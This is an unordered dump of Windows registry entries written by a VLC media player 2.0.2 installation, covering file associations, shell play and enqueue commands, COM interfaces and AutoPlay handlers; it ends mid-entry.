[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.a52\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.SVCDMovie]
"(Default)" = "VLC SVCD Movie"

[HKCR\VLC.it\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3]
"(Default)" = "VLC media file (.ac3)"

[HKCR\Directory\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.cda\shell]
"(Default)" = "Open"

[HKCR\VLC.mp4v\shell]
"(Default)" = "Open"

[HKCR\VLC.ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gpp]
"(Default)" = "VLC media file (.3gpp)"

[HKCR\VLC.asf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vqf\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Action" = "Play SVCD movie"

[HKCR\VLC.au\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.drc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".voc" = ""
".vob" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".flv" = "VLC.flv"

[HKCR\VLC.voc\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"InstallDir" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\VLC.m1v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VideoLAN.VLCPlugin.1\CLSID]
"(Default)" = "{E23FE9C6-778E-49D4-B537-38FCDE4887D8}"

[HKCR\VLC.mp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.mkv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\.mpv2]
"(Default)" = "VLC.mpv2"

[HKCR\VLC.mka]
"(Default)" = "VLC media file (.mka)"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.SVCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.VCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.dts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg]
"(Default)" = "VLC media file (.mpeg)"

[HKCR\VLC.amr\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.asf\shell]
"(Default)" = "Open"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.m4p]
"(Default)" = "VLC.m4p"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.CDAudio\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKCR\VLC.ram\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mkv" = "VLC.mkv"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4v" = ""

[HKCR\VLC.pls\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mka" = "VLC.mka"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mov\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.spx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpa]
"(Default)" = "VLC media file (.mpa)"

[HKCR\VLC.669\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.wmv]
"(Default)" = "VLC.wmv"

[HKCR\VLC.DVDMovie]
"(Default)" = "VLC DVD Movie"

[HKCR\VLC.ifo\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.m3u8]
"(Default)" = "VLC.m3u8"

[HKCR\VLC.adts\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".flv" = ""

[HKCR\VLC.adt\shell]
"(Default)" = "Open"

[HKCR\.adt]
"(Default)" = "VLC.adt"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ogv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vqf" = "VLC.vqf"

[HKCR\VLC.mts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xspf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.f4v]
"(Default)" = "VLC media file (.f4v)"

[HKCR\VLC.m3u8\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".b4s" = "VLC.b4s"

[HKCR\VLC.aif\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.drc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Version" = "2.0.2"

[HKCR\VLC.3gp]
"(Default)" = "VLC media file (.3gp)"

[HKCR\VLC.mpeg4\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nsv" = "VLC.nsv"

[HKCR\.rmi]
"(Default)" = "VLC.rmi"

[HKCR\VLC.tta\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.aif]
"(Default)" = "VLC.aif"

[HKCR\VLC.m2ts\shell]
"(Default)" = "Open"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.oga]
"(Default)" = "VLC.oga"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m1v" = "VLC.m1v"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".b4s" = ""

[HKCR\VLC.adt\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adt\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ShowIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /ShowIcons /S"

[HKCR\VLC.ifo\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mkv]
"(Default)" = "VLC media file (.mkv)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nsv" = ""

[HKCR\VLC.oma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mid]
"(Default)" = "VLC media file (.mid)"

[HKCR\VLC.vqf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.snd\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoFilesOnArrival]
"VLCPlayVideoFilesOnArrival" = ""

[HKCR\VLC.it\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rec\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".snd" = "VLC.snd"

[HKCR\VLC.adts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\VLC.3gp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wav\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ape\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.3ga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.caf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2v]
"(Default)" = "VLC media file (.m2v)"

[HKCR\VLC.cda\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ram\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.gxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".asf" = "VLC.asf"
".asx" = "VLC.asx"

[HKCR\VLC.aifc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.bin\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeVerb" = "Open"
"Action" = "Play audio files"

[HKCR\VLC.3gp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.flv]
"(Default)" = "VLC.flv"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /HideIcons /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".caf" = ""

[HKCR\VLC.ram]
"(Default)" = "VLC media file (.ram)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mxf" = "VLC.mxf"

[HKCR\VLC.wv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.spx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx]
"(Default)" = "VLC media file (.asx)"

[HKCR\VLC.mp2v]
"(Default)" = "VLC media file (.mp2v)"

[HKCR\VLC.mtv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aiff\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.aifc]
"(Default)" = "VLC media file (.aifc)"

[HKCR\VLC.avi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\DVD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.divx\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vro" = "VLC.vro"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm]
"(Default)" = "VLC media file (.xm)"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aifc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4a\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dv\shell]
"(Default)" = "Open"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dv" = "VLC.dv"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m1v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rmi]
"(Default)" = "VLC media file (.rmi)"

[HKCR\VLC.a52\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2t\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf]
"(Default)" = "VLC media file (.vqf)"

[HKCR\VLC.bin\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ac3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vob" = "VLC.vob"

[HKCR\VLC.au\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.oma\shell]
"(Default)" = "Open"

[HKCR\VLC.snd\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.mpeg1]
"(Default)" = "VLC.mpeg1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.asf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.mpeg1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv]
"(Default)" = "VLC media file (.amv)"

[HKCR\VLC.mp4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mpg]
"(Default)" = "VLC.mpg"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp2" = "VLC.3gp2"

[HKCR\VLC.mlp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDAudioOnArrival]
"VLCPlayDVDAudioOnArrival" = ""

[HKCR\VLC.drc]
"(Default)" = "VLC media file (.drc)"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"vendor" = "VideoLAN"

[HKCR\VLC.tta\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s]
"(Default)" = "VLC media file (.b4s)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wmv" = "VLC.wmv"

[HKCR\VLC.wv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2]
"(Default)" = "VLC media file (.mpv2)"

[HKCR\VLC.m4v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adt" = ""

[HKCR\.rec]
"(Default)" = "VLC.rec"

[HKCR\.mid]
"(Default)" = "VLC.mid"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vqf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mpc]
"(Default)" = "VLC.mpc"

[HKCR\VLC.rmvb\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adt" = "VLC.adt"

[HKCR\VLC.vlc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell]
"(Default)" = "Open"

[HKCR\VLC.xm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ram\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx]
"(Default)" = "VLC media file (.spx)"

[HKCR\VLC.tta\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aiff\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aac\shell\AddToPlaylistVLC\command]
